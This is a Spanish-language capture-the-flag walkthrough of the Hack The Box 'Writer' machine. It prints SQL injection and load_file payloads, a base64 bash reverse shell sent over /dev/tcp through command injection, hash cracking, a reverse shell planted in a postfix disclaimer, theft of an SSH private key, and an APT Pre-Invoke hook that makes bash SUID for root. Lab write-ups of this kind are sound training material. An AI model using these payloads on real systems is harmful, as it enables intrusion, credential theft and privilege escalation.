Writer - Hack The Box

7 minute read

  7 minute read

Empezamos con un escaneo de puertos con nmap

~$> sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.101

Aquí podemos ver 4 puertos externamente abiertos:

  • 22 ~> ssh
  • 80 ~> http
  • 139 ~> rpc
  • 445 ~> smb

Si nos conectamos por rpc con rpcclient sin usar credenciales

~$> rpcclient -U '' 10.10.11.101 -N
rpcclient $>

Y enumeramos los usuarios

rpcclient $> enumdomusers
user:[kyle] rid:[0x3e8]

Con esto encontramos un usuario válido (Kyle)

Si vemos el smb con smbclient o smbmap, no encontraremos ningún recurso que podamos visualizar, así que vamos a ver el puerto 80 desde la web

Si bajamos hasta el final de la página, encontramos un dominio (writer.htb)

Así que lo añadimos al /etc/hosts, esto, para en el caso de que se esté aplicando virtual hosting, nos carguen todos los recursos de la web

~$> sudo echo -e "10.10.11.101\twriter.htb" >> /etc/hosts

Despues de ver un poco la web, no encontré nada interesante por lo que pasé a hacer fuzzing con wfuzz

~$>wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://writer.htb/FUZZ
  • -c ~> Formato colorizado
  • --hc ~> Ocultando las respuestas con el código de estado (404)
  • -t ~> Número de hilos a usar (200)
  • -w ~> Wordlist
  • FUZZ ~> Lugar donde se aplicara el fuzzing

Con esto encontramos un directorio interesante (administrative), que si lo vemos en el navegador

Nos encontramos con un panel de login

Luego de probar con credenciales por defecto sin éxito, empezé con las inyecciones sql, logrando ingresar con un simple ' or 1=1 -- -

Para poder aprovechar al máximo la inyección sql, volví al panel de login

E inicié el burpsuite, para tener más comodidad

Ahora emitimos una petición normal desde el panel

Y lo vemos desde burpsuite

Lo enviamos al repeater

Y aquí empezamos a enumerar con union select en el campo uname, buscando el número de columnas existente, de la siguiente manera:

Luego de probar del 1 hasta el 6, la respuesta de lado del servidor cambia mostrandonos lo siguiente

Payload usado: ' union select 1,2,3,4,5,6 -- -

Si nos fijamos en la respuesta, veremos un campo interesante (Welcome 2)

Al ver ese “2” en el welcome, sabemos que para ver información, usaremos el campo “2” del payload que estamos usando, de esta manera:

Así veremos la información en el campo donde antes nos ponía el “2

Despues de listar información de la base de datos, no encontré nada interesante, por lo que empezé a leer archivos del sistema con “load_file()

Payload usado: ' union select 1,load_file("/etc/passwd"),3,4,5,6 -- -

Viendo el /etc/passwd encontramos un usuario (john), además del que vimos al inicio con rpcclient (kyle)

Si intentamos visualizar la flag user.txt no podremos, por lo que hay que seguir con otros archivos del sistema como el /etc/apache2/sites-available/000-default.conf, en donde podremos encontrar directorios interesantes

Aquí encontramos algunos directorios y un archivo (writer.wsgi)

Así que vamos a leer ese writer.wsgi

  • ' union select 1,load_file("/var/www/writer.htb/writer.wsgi"),3,4,5,6 -- -

Viendo este script encontramos un __init__.py, el cual, si leemos

  • ' union select 1,load_file("/var/www/writer.htb/writer/__init__.py"),3,4,5,6 -- -

Vemos que en la función add_story() hay partes mal sanitizadas

Por lo que para aprovecharnos de estos errores, vamos nuevamente al panel de login e ingresamos

Nos dirigimos a Stories

Seleccionamos alguna para editar

Interceptamos nuevamente la petición con Burpsuite

Lo enviamos al repeater, igual que antes y aquí podemos ver un campo vacío, el image_url, este es el mismo campo que veíamos antes, en el script (__init__.py), el mismo que no está bien sanitizado

Por lo que, por medio de este campo, podremos inyectar comandos de la siguiente manera:

  • Primero vamos a una terminal y escribimos lo siguiente:
~$> echo "bash -i >& /dev/tcp/$(ifconfig tun0 | head -n 2 | tail -n 1 | awk '{print $2}')/443 0>&1" | base64
[TU_CADENA_EN_BASE64]
Todo esto -> “$(ifconfig tun0 head -n 2 tail -n 1 awk ‘{print $2}’)” solo es para poner tu ip en ese espacio

Nos ponemos en escucha desde una terminal con **netcat**, por el puerto 443

~$> nc -nlvp 443

Y lo enviamos con Burpsuite así:

  • ;`echo [TU_CADENA_EN_BASE64]|base64 -d|bash`

Es importante ingresar el mismo comando a ejecutar, tanto en el campo filename como en image_url haciendo uso del wraper file:// tal que así: file:///var/www/writer.htb/writer/static/img/imagen.jpg;`echo [TU_CADENA_EN_BASE64]|base64 -d|bash`

Y si vemos nuestro listener

Recibimos la conexión!!

Despues de hacer un tratamiento de la tty y de revisar un poco el sistema, encontré unas credenciales para mysql en el archivo de configuración /etc/mysql/mariadb.cnf

www-data@writer:/etc/mysql$ cat /etc/mysql/mariadb.cnf

Así que teniendo esto, nos conectamos por mysql

www-data@writer:/etc/mysql$ mysql -udjangouser -pDjangoSuperPassword

Vemos que al conectarnos ya estamos usando una base de datos (dev), entonces listamos las tablas

MariaDB [dev]> show tables;

Hay algunas tablas disponibles, de las cuales nos llama la atención la tabla auth_user, porque seguramente contenga credenciales de usuarios, así que vemos las columnas que la componen

MariaDB [dev]> describe auth_user;

Aquí encontramos varios campos, pero claramente nosotros nos quedaremos con 2 ~> username y password, los cuales visualizaremos tal que así:

MariaDB [dev]> select username,password from auth_user;

Y encontramos el nuevamente al usuario kyle, pero esta vez tenemos un hash que nos podría servir para convertirnos en el, así que en nuestra máquina guardamos el hash

~$> echo "pbkdf2_sha256\$260000\$wJO3ztk0fOlcbssnS1wJPD\$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=" > hash

Buscamos el modo que nos sirve para romperlo con hashcat

~$> hashcat --example-hashes | grep "pbkdf2_sha256" -C 2
MODE: 10000
TYPE: Django (PBKDF2-SHA256)
HASH: pbkdf2_sha256$10000$1135411628$bFYX62rfJobJ07VwrUMXfuffLfj2RDM2G6/BrTrUWkE=
PASS: hashcat

Aquí podemos ver que el modo que nos sirve es el 10000, entonces usamos **hashcat** de esta forma:

~$> hashcat -m 10000 -a 0 hash --wordlist /usr/share/wordlists/rockyou.txt

Y despues de un rato

Obtenemos la pass

~$> hashcat -m 10000 -a 0 --show hash
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio

Con esta podemos conectarnos por ssh como el usuario kyle, ya que como vimos al inicio el puerto 22 (ssh) está habilitado

~$> sshpass -p 'marcoantonio' ssh kyle@10.10.11.101

Ahora que somos kyle, si hacemos un ìd, para ver los grupos en los que estamos

kyle@writer:/$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)

Vemos que estamos en uno poco común (filter), entonces aplicando una búsqueda con find desde la raíz, a los recursos con ese grupo

kyle@writer:/$ cd /; find \-group filter 2>/dev/null

Encontramos un ./etc/postfix/disclaimer con este contenido:

Este lo podemos modificar, pero este es reestablecido al cabo de unos segundos

Tambien podemos ver que este se encarga de enviar mails y por cada mail que se envía se ejecuta el disclaimer ya podemos pensar en añadir una linea maliciosa en el disclaimer, para depues enviar un mail, para que se ejecute nuestra instrucción, entonces:

  • Primero escribimos esta estructura básica en python, esto nos servirá para enviar el mail

  • Ahora hacemos una copia del disclaimer original al directorio en el que estemos
kyle@writer:~$ cp /etc/postfix/disclaimer .
  • Le añadimos una linea maliciosa que se encargue de enviarnos una shell, igual que hicimos anteriormente con kyle desde Burpsuite
~$> echo "bash -i >& /dev/tcp/$(ifconfig tun0 | head -n 2 | tail -n 1 | awk '{print $2}')/443 0>&1" | base64
[TU_CADENA_EN_BASE64]
kyle@writer:~$ cat disclaimer

Nuevamente nos ponemos en escucha con netcat en nuestra máquina

~$> nc -nlvp 443

Hacemos una copia del disclaimer que modificamos, en la ruta original al tiempo que ejecutamos el script de python para enviar el mail

kyle@writer:~$ cp disclaimer /etc/postfix/disclaimer; python3 mail.py

Y si vemos nuetro listener

Ganamos la shell como john!

Si vamos al directorio de john, veremos que hay un directorio .ssh en donde podemos leer una id_rsa la cual podemos usar para conectarnos como john de una manera más comoda por ssh, así que

  • Copiamos la id_rsa, con el mismo nombre, en nuestro equipo
john@writer:/home/john/.ssh$ cat id_rsa

  • Le asignamos el privilegio 600, esto para que no nos de problemas al momento de usarla
~$> chmod 600 id_rsa
  • Y nos conectamos de esta manera
~$> ssh -i id_rsa john@10.10.11.101

Ahora estamos en una shell completamente interactiva y mucho más comoda

Viendo a que grupos pertenece el usuario john, vemos uno que puede ser interesante (management)

john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)

Buscando cosas relacionadas con este grupo

john@writer:~$ cd /; find \-group management 2>/dev/null

Encontramos el directorio /etc/apt/apt.conf.d, el cual podría sernos de gran utilidad en el caso de que root esté ejecutando un apt update

Ya estando acá, para ver que tareas se estaban ejecutando, usé el siguiente one liner, para ver las tareas que se estaban ejecutando

john@writer:~$ while true; do ps -eo command | grep -v -E "\[|apache2"; sleep 15; clear; done

Encontrando lo siguiente:

Hay una tarea interesante que está ejecutando el usuario root (/usr/bin/apt-get update), así que nos dirigimos al directorio /etc/apt/apt.conf.d y creamos un archivo con el siguiente contenido:

john@writer:/etc/apt/apt.conf.d$ echo "APT::Update::Pre-Invoke {\"chmod 4755 /bin/bash\";};" > suid
john@writer:/etc/apt/apt.conf.d$ cat suid
APT::Update::Pre-Invoke {"chmod 4755 /bin/bash";};

Esto se encargará de ejecutar el comando que le indiquemos (chmod 4755 /bin/bash), antes de ejecutar el apt-get update, por lo que, en este caso se le asignarán permisos SUID a la /bin/bash, lo que nos permitirá, posteriormente, spawnear una bash como root

Si ahora vemos los permisos de la /bin/bash veremos que es SUID

john@writer:/etc/apt/apt.conf.d$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash

Así que ahora solo tenemos que ejecutar el siguiente comando:

john@writer:/etc/apt/apt.conf.d$ bash -p
bash-5.0#

Y somos root!!

bash-5.0# whoami
root